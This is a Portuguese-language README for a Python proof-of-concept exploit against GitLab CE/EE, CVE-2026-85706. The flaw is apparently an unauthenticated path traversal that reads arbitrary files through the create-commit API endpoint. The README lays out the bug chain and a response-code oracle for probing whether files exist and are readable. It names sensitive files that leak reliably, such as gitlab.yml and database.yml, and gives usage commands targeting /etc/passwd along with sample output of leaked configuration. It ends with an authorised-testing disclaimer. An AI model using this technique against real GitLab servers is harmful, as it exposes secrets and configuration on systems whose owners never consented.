
PoC em Python que explora o CVE-2026-85706, uma path traversal não autenticada e leitura arbitrária de arquivos no GitLab CE/EE através do endpoint create-commit, com oráculo de leitura de arquivos.
Path traversal não autenticado / leitura arbitrária de arquivos no GitLab CE e EE. CVSS 10.0. Verificado contra uma instância auto-gerenciada 19.3.1 em um laboratório local.
GitLab CE/EE:
Pré-condição: a instância possui pelo menos um projeto público. Qualquer id de projeto real funciona. Nenhuma conta ou token é necessário.
O endpoint create-commit POST /api/v4/projects/:id/repository/commits
aceita corpos de arquivo grandes, então o Workhorse armazena o corpo da requisição em disco e
injeta metadados file.path / file.size para o Rails ler de volta. Quatro
erros se alinham:
require_gitlab_workhorse! na entrada. O verdadeiro
authenticate! fica atrás de authorize_push_to_branch!, que é executado após
a leitura do arquivo.file_params_from_body_upload obtém file.path e file.size diretamente
dos parâmetros da requisição, então File.read(file_path) segue qualquer caminho absoluto
que você fornecer..../repository/commits\z.
Adicionar uma barra final não corresponde a essa rota e cai no proxy reverso
assinado, que encaminha o corpo bruto com um JWT válido. A verificação do Workhorse
passa, o Grape normaliza a barra, e os parâmetros forjados sobrevivem.Content-Type: application/x-www-form-urlencoded o conteúdo do arquivo é
analisado por Rack::Utils.parse_nested_query. Uma sequência % ilegal gera
ArgumentError: invalid %-encoding (<component>) e a resposta 400 ecoa esse componente
literalmente.A leitura é executada como o usuário git. O conteúdo só retorna se o arquivo contiver
uma sequência % ilegal; caso contrário, você ainda obtém um oráculo limpo de existência e
legibilidade:
| Resposta | Significado |
|---|---|
400 local file not present | arquivo não existe |
500 | existe, não legível por git |
401 | existe e legível, sem % ilegal, nada ecoado |
400 invalid %-encoding (...) | legível, componente ecoado |
Arquivos que ecoam de forma confiável em uma instalação omnibus padrão: gitlab.yml (comentário
de cabeçalho atinge 95% cedo), logs e artefatos de jobs de CI, anexos enviados,
e database.yml em implantações com banco de dados externo.
python3 exploit.py -t http://target:8080 # reads gitlab.yml
python3 exploit.py -t http://target:8080 -f /etc/passwd
python3 exploit.py -t http://target:8080 -p 3 -o out.txt
Sem dependências, apenas stdlib.
Contra gitlab-ce 19.3.1 em docker, zero credenciais:
$ python3 exploit.py -t http://127.0.0.1:8929
[*] HTTP 400 | leaked
[+] leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
=========================
## GitLab settings
gitlab:
## Web server settings (note: host is the FQDN, do not include http://)
host: localhost
port: 8929
https: false
...
------------------------------------------------------------
Verificações pontuais do oráculo da mesma execução:
/etc/passwd -> 401 (readable, no echo)
/etc/shadow -> 500 (exists, permission denied)
/etc/nonexistent -> 400 local file not present
Apenas para testes de segurança autorizados e pesquisa. Não use contra sistemas que você não possui ou não tem permissão explícita para testar.